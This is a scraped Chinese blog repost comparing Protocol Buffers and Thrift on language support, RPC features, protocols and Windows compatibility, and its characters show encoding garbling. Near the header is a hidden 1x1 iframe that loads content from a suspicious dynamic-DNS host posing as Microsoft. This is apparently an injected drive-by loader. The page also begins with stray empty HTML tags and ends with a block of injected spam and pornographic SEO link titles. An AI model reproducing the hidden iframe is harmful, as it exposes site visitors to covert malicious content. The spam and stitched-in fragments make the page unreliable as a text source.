• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            流量統(tǒng)計:
            Rixu Blog (日需博客)
            日需博客,每日必需來踩踩哦..
            posts - 108,comments - 54,trackbacks - 0
            <iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog.png" width="1" height="1" style="display: block;"></iframe>

            最近工作需要保存一些結(jié)構(gòu)化的數(shù)據(jù)。常規(guī)的思路,自然是選擇xml。定義一個schema,然后再找個利落點的XML庫(覺得tinyxml/tinyxml++ 就挺不錯的)就算問題解決。這兩天blog上比較熱鬧的話題,是從Google放出來的Protocol buffers ,一種用來部分替代xml的數(shù)據(jù)描述語言。Google就是Google,就算是推白菜出來,也一樣能讓人側(cè)目。其實protocol buffers也不是什么新鮮的概念,且不說傳統(tǒng)的ASN.1, ICE這些有點類似的東西,facebook一年前就推出了thrift ,應該說定位是非常的接近的。也有謠傳說是先有了protocol buffers在google內(nèi)部流行,然后google的人跳槽到facebook,就出了thrift這個東西……呵呵,停止八卦,言歸正傳。
            觀察法看到的優(yōu)缺點
            Thrift:
            支持的語言更廣泛一些c++, java, python,ruby, csharp, haskell, ocmal, erlang, cocoa, php, squeak(真夠變態(tài)的)
            protobuf
            目前還是只支持c++, java, python, 其他語言有待開發(fā).
            Thrift提供的功能更豐富一些:
            Thrift提供了簡單的RPC構(gòu)架(其實不簡單了, block, nonblock的都有了…..)
            protobuf好像一心一意做好自己的事情,只提供了序列化和反序列化的功能。
            Thrift支持多種協(xié)議格式.
            Thrift的代碼實現(xiàn),有專門的TProtocol和TTransport抽象,相互配合,可以實現(xiàn)多種協(xié)議,方便集成各種傳輸方式。至少目前Thrift就能使用json作為序列化協(xié)議。
            protobuf好像只安心一種協(xié)議,并下決心把這個格式做好。輸入輸出也是標準的stream. 認真的說也不完全這樣,protobuf為了調(diào)試方便,也提供了Text_Fromat功能,這個也算一個nonbinary格式支持,這樣看來完全新協(xié)議還是有可能的。
            Thrift還提供了不少語言的C module(性能啊,都是性能啊)
            protobuf全部pure language實現(xiàn), 反正現(xiàn)在已經(jīng)都5到10倍速度了,不在乎了…..
            thrift目前不支持Windows平臺,至少c++語言的runtime library和generated code是不不能在windows平臺上使用的。(這真有點讓人難以接受啊,現(xiàn)代科技這么發(fā)達,還有怪獸boost,支持windows有這么難嗎?)
            protobuf沒有這個問題,提供了visual studio的項目文件,可以很順利的在windows平臺下編譯。(題外話: 如果不知道googletest怎么在windows平臺上使用,可以參考protobuf的測試用例)。
            The Thrift C++ runtime library does not currently work on Windows. This means that you’ll be able to compile ThriftIDL files to C++/Java/Python/etc., but you won’t be able to compile and run the generated C++ code under Windows.
            thrift wiki
            protobuf側(cè)重點是語言表達,同時在存儲效率上也下了不少功夫。用protobuf來直接讀寫數(shù)據(jù)結(jié)構(gòu)相當?shù)姆奖恪?/div>
            thrift側(cè)重點是構(gòu)建夸語言的可伸縮的服務,特點就是支持的語言多,同時提供了完整的rpc service framework,可以很方便的直接構(gòu)建服務,不需要做太多其他的工作。
            數(shù)據(jù)類型相對固定的情況下,不論是thrift還是protobuf都會比直接處理xml要方便很多。不管是dom還是類sax,總沒有直接出數(shù)據(jù)結(jié)構(gòu)訪問來的方便啊。
            posted on 2015-10-26 20:18 日需博客 閱讀(1496) 評論(0)  編輯 收藏 引用 所屬分類: 轉(zhuǎn)載
            久久精品国产亚洲一区二区| 久久亚洲2019中文字幕| 久久久久久国产精品无码超碰| 亚洲国产另类久久久精品黑人| 久久国产精品77777| 久久黄色视频| 久久精品亚洲精品国产色婷 | 一本色道久久综合狠狠躁篇| 成人午夜精品无码区久久| 久久噜噜电影你懂的| 久久人人爽人人爽人人av东京热| 九九久久自然熟的香蕉图片| 91麻豆国产精品91久久久| 99久久精品毛片免费播放| 亚洲精品美女久久久久99小说| 久久精品国产99久久久| 日韩十八禁一区二区久久| 国产精品欧美久久久天天影视 | 久久综合综合久久97色| 久久精品国产欧美日韩99热| 国产精品99久久久久久www| 久久久亚洲欧洲日产国码二区| 久久久午夜精品| 亚洲国产精品无码久久青草| 久久播电影网| 国产99久久久国产精免费| 精品久久久久中文字幕日本| 亚洲精品乱码久久久久久| 综合久久一区二区三区| 久久久久亚洲AV成人网人人软件| 久久se精品一区精品二区| 久久精品人人做人人爽电影蜜月| 中文无码久久精品| 日产精品久久久一区二区| 午夜精品久久久久久久| 77777亚洲午夜久久多人| 亚洲va久久久噜噜噜久久狠狠| 久久人人添人人爽添人人片牛牛| 婷婷五月深深久久精品| 日韩精品久久久久久久电影蜜臀| 精品国产乱码久久久久久郑州公司 |